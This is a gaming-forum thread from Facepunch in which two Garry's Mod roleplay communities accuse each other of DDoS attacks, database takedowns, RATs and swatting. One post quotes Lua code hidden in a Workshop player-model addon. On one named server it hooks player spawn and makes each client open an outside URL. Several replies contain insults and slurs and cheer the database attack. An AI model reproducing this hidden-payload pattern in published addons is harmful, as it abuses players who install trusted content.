• Malicious Intentions & Attacks from Hammerfall Gaming
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Hello everyone, I am posting this as a somewhat nervous and angry server owner. I currently help run a community called AfterShock Gaming, ASG for short. We run the most popular Clonewars RP server in Garry's Mod, and because of this you may see why we occasionally run into trouble from other communities as rivals. However, this time the owner of the community went way to far. A man by the name of Tyler from Hammerfall Gaming (HFG) has been constantly threatening our community and spreading rumors and lies throughout his community to bring hate towards us. Recently things have escalated to the point where I need the advice of you guys at Facepunch. [U]Things that have happened:[/U] [U]1. Claiming We Attacked[/U] [URL="http://i.imgur.com/7fFDRJY.png"]He has claimed somebody from our community spread a virus throughout his community.[/URL] In reality, I do not have 100% proof that nobody in my community has done that, however his facts posted in there are completed false. [B]He did NOT come to us to deal with this diplomatically as the post claims[/B], we talked on TeamSpeak and he told us: "Nobody from ASG is welcome in this community" We responded saying that is alright, but then. [B]You have been banned from the server.[/B] Much of his community seems to be happy about this and even saying [URL="http://i.imgur.com/uXptyQg.png"]"Let the head(s) rolling commence"[/URL] [U]2. Not Taking Responsibility to Attacks[/U] While talking to some people over at HFG, [URL="http://i.imgur.com/oq1QM2A.png"]they have claimed nothing has been done[/URL] but that they will "take necessary actions". [U]3. Taking Down our Website & Damaging Databases[/U] Currently, our website is down [URL="http://i.imgur.com/25AEQNt.png"]as you can tell by this page.[/URL] We are having to [URL="http://i.imgur.com/gHSQebd.png"]repair our databases[/URL] because of this. While I was writing this, [URL="http://i.imgur.com/ykMPS6g.png"]I received this message from him.[/URL] Almost immediately after the takedown, [URL="http://i.imgur.com/eDfNfcH.png"]this appeared on their forums.[/URL] He even claims it isn't him on the same forum [URL="http://i.imgur.com/r88QeNr.png"]in response to "AfterShock burning in hell"[/URL] [U]4. Eluding to Future Attacks[/U] Around the same time AGAIN on his forums of the website takedown, [URL="http://i.imgur.com/TuR8nmZ.png"]he posts this on the forum.[/URL] I would like to mention the line "You might be the [B]after shock[/B] , but I'm the quake. You will never be as good as me, You will never be as strong.​" Yes, Aftershock is our community name. [U]Summary[/U] Tyler personally told us that if do not come out and tell us who spread a virus, there will be big repercussions for our community and players. How can I get someone like this punished? Thank you if you actually read all this, I honestly need help. People like do NOT deserve to be part of the GMod community. Thanks, MCiLuZiioNz EDIT: I wasn't really sure where to post this :/ I should also have changed the title to state POSSIBLE attacks, but it is very likely HFG and specifically Tyler is behind this.
You should fix your website if stuff like that can happen. He might use some SQLInjections, make sure your forum software is up to date. Maybe also change your database password and make sure there is no file (maybe on your gmod server?) that allows anyone to read it. The rest is really simple, just don't contribute to the drama. Fix all the issues that allow them to fuck you over and then ignore them.
[QUOTE=syl0r;47804742]You should fix your website if stuff like that can happen. He might use some SQLInjections, make sure your forum software is up to date. Maybe also change your database password and make sure there is no file (maybe on your gmod server?) that allows anyone to read it. The rest is really simple, just don't contribute to the drama. Fix all the issues that allow them to fuck you over and then ignore them.[/QUOTE] Yeah, we are already working with our webhost/server provider to fix any holes and try and tighten security but that does change the fact that, and excuse me for saying this but, some insane server owner who is literally the definition of crazy has all of his community and staff against us. Keep in mind this is NOT the first time HFG has done something probably illegal to a community. EDIT: Wow one of them mentions they have a RAT they could spread to ASG. [IMG]http://i.imgur.com/CzM8m69.png[/IMG]
the more attention you pay to them the more you let them "win"
I hate to see two communities spreading rumors and/or lies about each-other. In this case we do not see both sides just really yours. Good luck fixing this stuff.
Whatever you do, don't make it illegal. If you want, wait till they do something illegal and laugh at them.
[QUOTE=Smt;47805742]the more attention you pay to them the more you let them "win"[/QUOTE] I would normally agree, but some of the stuff they are doing is just stupid and way too far for this being Garry's Mod. [QUOTE=tripps41;47805745]I hate to see two communities spreading rumors and/or lies about each-other. In this case we do not see both sides just really yours. Good luck fixing this stuff.[/QUOTE] You know, I encourage them to go ahead and say whatever they want. [QUOTE=Exploderguy;47805956]Whatever you do, don't make it illegal. If you want, wait till they do something illegal and laugh at them.[/QUOTE] That's all we've really been able to do up until this point and they are on pretty shaky ground now. [QUOTE=~Kiwi~v2;47806043]DDOSing itself is illegal in most countries. You can actually get slapped real hard if you get found out for doing so. Just look at the many cases people have DDOS/taken down and then arrested for doing so. You should yes fix possible SQL exploits. Fixing SQL is not something you want to do all day.[/QUOTE] I am aware of this, however as most people would say, don't do anything unless you're really sure.
This is a real situation. Tyler has taken non legal actions to destroy the server and lots of which are completely wrong. There is photo evidence of the hacks or adware whatever you want to call it. Server provider needing to stop the ddos attacks its retarded and uncalled for. This needs to stop now it is all ready out of hand.
[QUOTE=Shayden;47813708]This is a real situation. Tyler has taken non legal actions to destroy the server and lots of which are completely wrong. There is photo evidence of the hacks or adware whatever you want to call it. Server provider needing to stop the ddos attacks its retarded and uncalled for. This needs to stop now it is all ready out of hand.[/QUOTE] then treat it like a real situation, posting here really doesn't solve anything, they probably see this thread and laugh at it and carry on doing it
We have already contacted law enforcement, Steam support, and so on. We are just stuck as sitting ducks while we wait for action.
100% on you to fix it FP can't help.
Well now there is something Facepunch can do. I know some of you are moderators. Tyler admitted to putting malicious code into his workshop addons which he has used redirect players. [code] local function AddPlayerModel( name, model ) list.Set( "PlayerOptionsModel", name, model ) player_manager.AddValidModel( name, model ) end AddPlayerModel( "Neo Crusader", "models/Player/SGG/Starwars/neo_crusader.mdl" ) if game.SinglePlayer() == false then // Are we in multiplayer? If so continue... if GetHostName() == "[ASG] Clonewars Serious RP" then // Are we the malicious server? If so.. function AbandonServer(ply, text) ply:SendLua([[gui.OpenURL("http://hfg.cc/connector/asg")]]) end hook.Add("PlayerSpawn", "Redirect", AbandonServer) // This is to effect one server that infected some of my staff // I am doing this to protect the players from the harsh actions // of the ASG Owners, they're using malware that is basically // copy + paste keyloggers. // This will not effect ANY server other that theirs. // Simply opens a URL on thier players making them DC. // These server owners are crude and deserve punishment. // Sorry for putting this on your server(s) and client. // Message me for more information. end end [/code] Here is the addon [url]http://steamcommunity.com/sharedfiles/filedetails/?id=360140619[/url] [IMG]http://i.imgur.com/jHpNhNx.png[/IMG]
[QUOTE=MCiLuZiioNz;47819714]Well now there is something Facepunch can do. I know some of you are moderators. Tyler admitted to putting malicious code into his workshop addons which he has used redirect players. [code] -sniped- [/code] Here is the addon [url]http://steamcommunity.com/sharedfiles/filedetails/?id=360140619[/url] [IMG]http://i.imgur.com/jHpNhNx.png[/IMG][/QUOTE] Dear god that spot of code, why the fuck does he check hostname - why not pick something more reliable wtf. Sorry, irrelevant, PM Robotboy and he'll deal with it.
Yeah, I wouldn't call that irrelevant. When I saw that code I felt really stupid that literally changing a character would stop that one. I already messaged him just waiting.
[QUOTE=MCiLuZiioNz;47804650] [U]1. Claiming We Attacked[/U] [URL="http://i.imgur.com/7fFDRJY.png"]He has claimed somebody from our community spread a virus throughout his community.[/URL] In reality, I do not have 100% proof that nobody in my community has done that, however his facts posted in there are completed false. [/QUOTE] To be frank with you, I don't think 99% of the community even knows how to go about "attacking" another community. Just like everyone else on GMOD most of them are just there to play. While I really don't care for the matter because I think internet drama is foolish, I will say this; If you have problems with eachother don't take it out on the players of either community, most of them are just trying to have a good time. In fact 95% of them (from both sides) probably don't want anything to do with this malarky. If you are behind the attacks (general statement) don't take it out on the playerbase directly. Or just don't do it at all. (Not directed at anyone, just a general statement) Ya know?
*Sigh* This has gone to far, I agree with Dem just stop.
[QUOTE=Demersus;47828661]To be frank with you, I don't think 99% of the community even knows how to go about "attacking" another community. Just like everyone else on GMOD most of them are just there to play. While I really don't care for the matter because I think internet drama is foolish, I will say this; If you have problems with eachother don't take it out on the players of either community, most of them are just trying to have a good time. In fact 95% of them (from both sides) probably don't want anything to do with this malarky. If you are behind the attacks (general statement) don't take it out on the playerbase directly. Or just don't do it at all. (Not directed at anyone, just a general statement) Ya know?[/QUOTE] Yeah I 100% agree with you. 95% of our community doesn't want this going on but they are all really angry at the other community now. Because we are being the better staff in this case, we have told them to stop and not to harass anybody or do anything which has worked really well. Honestly I should have called this thread "Malicious Intentions & Attacks from Tyler (the Owner of HFG)" We know it's not their whole community, it's only a select few. [IMG]http://i.imgur.com/lc6PbCu.png[/IMG] Also rip in peps. lol
[QUOTE=MCiLuZiioNz;47829398]Yeah I 100% agree with you. 95% of our community doesn't want this going on but they are all really angry at the other community now. Because we are being the better staff in this case, we have told them to stop and not to harass anybody or do anything which has worked really well. Honestly I should have called this thread "Malicious Intentions & Attacks from Tyler (the Owner of HFG)" We know it's not their whole community, it's only a select few. [IMG]http://i.imgur.com/lc6PbCu.png[/IMG] Also rip in peps. lol[/QUOTE] On our steam group page. Salad (RedEye) May 27 @ 9:18am Get a life.... Stop hacking into other servers! #Fuckers Gabe May 27 @ 9:13am WATCH THIS TYLER I HOPE YOU GET SWATTED AGAIN [url]https://www.youtube.com/watch?v=1ulYHxgkycM&feature=youtu.be[/url] Gabe May 27 @ 9:11am [url]https://www.youtube.com/watch?v=1ulYHxgkycM&feature=youtu.be[/url] On Pickachus computer /TEMP/ASG/HFGsucks.exe Also, you were all once HFG members. You broke off to make ASG.
We were never part of HFG. ASG started by breaking off from ZDRP. Yes we have some ex-HFG staff, but that's it. Also I told the players not to harass, I cannot control everything they do. You have not proved we have done anything because we haven't. This is not the place to argue. I could easily say I just found this on my computer /TEMP/HFG/ASGbad.exe I also don't know why you guys deny the fact that Tyler did really stupid stuff.
[QUOTE=MCiLuZiioNz;47829762]We were never part of HFG. ASG started by breaking off from ZDRP. Yes we have some ex-HFG staff, but that's it. Also I told the players not to harass, I cannot control everything they do. You have not proved we have done anything because we haven't. This is not the place to argue. I could easily say I just found this on my computer /TEMP/HFG/ASGbad.exe I also don't know why you guys deny the fact that Tyler did really stupid stuff.[/QUOTE] So what you just did their was, think really hard. Then you just change some words. Yet why would you accept these members? They know us and can attack us.
Look I was just trying to prove a point. I'm not going to argue here, not what Facepunch is for.
I love how you ignored the part about: Sending Spammers, Crashers, & Advertisers on my server(s) Spamming my forums with "F*&k this ni@$%#r community, join asg" Spamming my shoutbox with "JOIN ASG!" DDoSing my server(s) almost weekly, but fail miserably. Let's not forget when you asshats SWAT'd me. You & your staff sent a virus to my staff pissing someone off, they took down your forums. Of course I am happy that you guys were injected, Why wouldn't I be? If you're going to tell the story, then tell both sides. Edit: As for my community, of course they're happy you were injected aswell, but I don't have control on what they post, Nor will I limit them. Evidence ASG was behind the SWATing [url]https://www.youtube.com/watch?v=1ulYHxgkycM[/url] Description: "So Tyler, I hope you get swatted again." I never posted ANYWHERE about being swat'd Edit2: Forgot about this gem- 9182 Redd: Guys im gonna personally get this out now! I'm tired of you guys messing with our server(ASG) and I have my team exterminate your files and this will come quick, I will do this in about 9:00:00 so get ready. And I'm the malicious one? Who only pokes at and laughs at your misfortune? Atleast im not the one infecting people with virus', DDoSing servers, Send spammers, advertisers, crashers & send people who threaten to 'hack the server' to other competitors. Y'all so hypocritical, You want to threaten people with this shit, then wonder why your db got dropped, tbh you deserved it, if I knew who dropped the database, I'd give them a cookie. Hopefully the dropping of your SQL database will deter you from threatening others with hacks, virus' & spammerinos.
I was only posting stuff to the best of my knowledge here. This is not a forum to argue. We already had a personal talk and you are aware people from your community spam us and say the same stuff as well. But I'm so glad to hear you condone all the people with bad intentions in your community.
[QUOTE=Demersus;47828661]To be frank with you, I don't think 99% of the community even knows how to go about "attacking" another community. Just like everyone else on GMOD most of them are just there to play. While I really don't care for the matter because I think internet drama is foolish, I will say this; If you have problems with eachother don't take it out on the players of either community, most of them are just trying to have a good time. In fact 95% of them (from both sides) probably don't want anything to do with this malarky. If you are behind the attacks (general statement) don't take it out on the playerbase directly. Or just don't do it at all. (Not directed at anyone, just a general statement) Ya know?[/QUOTE] I feel special being the 1% <3 - but seriously can we just let this die. [editline]29th May 2015[/editline] [QUOTE=L0rdTyler;47830304]I love how you ignored the part about: Sending Spammers, Crashers, & Advertisers on my server(s) Spamming my forums with "F*&k this ni@$%#r community, join asg" Spamming my shoutbox with "JOIN ASG!" DDoSing my server(s) almost weekly, but fail miserably. Let's not forget when you asshats SWAT'd me. You & your staff sent a virus to my staff pissing someone off, they took down your forums. Of course I am happy that you guys were injected, Why wouldn't I be? If you're going to tell the story, then tell both sides. Edit: As for my community, of course they're happy you were injected aswell, but I don't have control on what they post, Nor will I limit them. Evidence ASG was behind the SWATing [url]https://www.youtube.com/watch?v=1ulYHxgkycM[/url] Description: "So Tyler, I hope you get swatted again." I never posted ANYWHERE about being swat'd Edit2: Forgot about this gem- 9182 Redd: Guys im gonna personally get this out now! I'm tired of you guys messing with our server(ASG) and I have my team exterminate your files and this will come quick, I will do this in about 9:00:00 so get ready. And I'm the malicious one? Who only pokes at and laughs at your misfortune? Atleast im not the one infecting people with virus', DDoSing servers, Send spammers, advertisers, crashers & send people who threaten to 'hack the server' to other competitors. Y'all so hypocritical, You want to threaten people with this shit, then wonder why your db got dropped, tbh you deserved it, if I knew who dropped the database, I'd give them a cookie. Hopefully the dropping of your SQL database will deter you from threatening others with hacks, virus' & spammerinos.[/QUOTE] The fact you have lord in your name pisses me off, the fact you have a 0 for the o means you're a tit. As for the MCiluziionz guy, wtf is with the camel case-type thing you have going on. Stop acting like children and take this somewhere private so we don't need to see it because quite frankly, nobody else cares right now. (people may correct me if i'm wrong)
Honestly im going to give my opinion. This is all childish and this is the damn internet, people say shit do shit whatever im not going lie i posted something about this but i was annoyed about it and i feel what Tyler's community is doing is wrong and ASG's community. Not to say its him or Me but the people in our community doing actions against each other, so it is out of any of the owner/staffs control so to say a cretin person is doing something is false and know what i was told by tyler on what he can do i don't have a doubt in the world tyler did something but thats not needless to say once again his members out of their own will attacked ASG so if Tyler wants to say " Oh ASG attacked us with a virus herpa derp der " I know we didn't if it was a player from asg than thats on him not the community and chances are it could be someone framing us as well, like with whats going on today in the real world. Btw sorry in advance if i hurt anyone im not trying to just trying to prove something, but as i was saying its like a African American Robbing a bank for doing something else wrong and blaming it on all of the African American community its stupid. BTW im sure their is alot more things i can use but i just thought of something that is more current and happening as of right now sorry once again. But this just needs to stop honestly we all need to be the better people and drop whats going on and carry on with our gaming [editline]29th May 2015[/editline] I agree with you 100% Stop acting like children and take this somewhere private so we don't need to see it because quite frankly, nobody else cares right now. (people may correct me if i'm wrong)[/QUOTE]
[QUOTE=DrJenkins;47831672]I feel special being the 1% <3 - but seriously can we just let this die. [editline]29th May 2015[/editline] The fact you have lord in your name pisses me off, the fact you have a 0 for the o means you're a tit. As for the MCiluziionz guy, wtf is with the camel case-type thing you have going on. Stop acting like children and take this somewhere private so we don't need to see it because quite frankly, nobody else cares right now. (people may correct me if i'm wrong)[/QUOTE] I'm not the one spreading lies on a forum about another community, as for my name, I can't help someone else used the name, it's not like I plan on staying on this forums. And the Lord is because I run a starwars server and played Lord Vader, but some weiner logged out with Lord Vader as the name, so I went with Lord Tyler, then it stuck with me. Do you have a college Degree for the Dr. in your name Jenkins? [editline]30th May 2015[/editline] [QUOTE=MCiLuZiioNz;47831630]I was only posting stuff to the best of my knowledge here. This is not a forum to argue. We already had a personal talk and you are aware people from your community spam us and say the same stuff as well. But I'm so glad to hear you condone all the people with bad intentions in your community.[/QUOTE] Yeh man, I 100% support the hatred against you all. You took it in your hands to SWAT & RAT people in my community. If hell existed, I'd tell you to burn in it.
[QUOTE=L0rdTyler;47835486]I'm not the one spreading lies on a forum about another community, as for my name, I can't help someone else used the name, it's not like I plan on staying on this forums. And the Lord is because I run a starwars server and played Lord Vader, but some weiner logged out with Lord Vader as the name, so I went with Lord Tyler, then it stuck with me. Do you have a college Degree for the Dr. in your name Jenkins? [editline]30th May 2015[/editline] Yeh man, I 100% support the hatred against you all. You took it in your hands to SWAT & RAT people in my community. If hell existed, I'd tell you to burn in it.[/QUOTE] Actually, funnily enough I do. I have a PhD in Philosophy so fuck your little cunt back off to your boring ass community and play Darth Vader instead of giving me unreasonable bullshit to read. <3 from me
[QUOTE=DrJenkins;47835553]Actually, funnily enough I do. I have a PhD in Philosophy so fuck your little cunt back off to your boring ass community and play Darth Vader instead of giving me unreasonable bullshit to read. <3 from me[/QUOTE] Please provide evidence, otherwise you're just another liar on the internet.
gmod drama is frankly hilarious and pathetic at the same time I remember years ago running a server on unreal, worrying about DoS attacks and "Hackers" now it's pretty much "Oh no a dos gee whatever will we do lol" why can't you cunts just ignore eachother and get over it. It's such a lame waste of time. Beating others down is only going to lead to everyone forgetting about you once it's over because it's so inane. then again virus spreading rumors is way more serious than dumb dos attacks [QUOTE=L0rdTyler;47835906]Please provide evidence, otherwise you're just another liar on the internet.[/QUOTE] oh god someone called him a liar shit dude that's serious, someone didn't believe you on the internet? oh man, you better do something about it jenkins man. jenkins bro kick his ass
[QUOTE=L0rdTyler;47835906]Please provide evidence, otherwise you're just another liar on the internet.[/QUOTE] Would you also like proof my penis is 10inches, i have brown hair and my surname is Jenkins? (It's not) I was originally commenting on your immature decision to look like a gigantic twat with your name. <3
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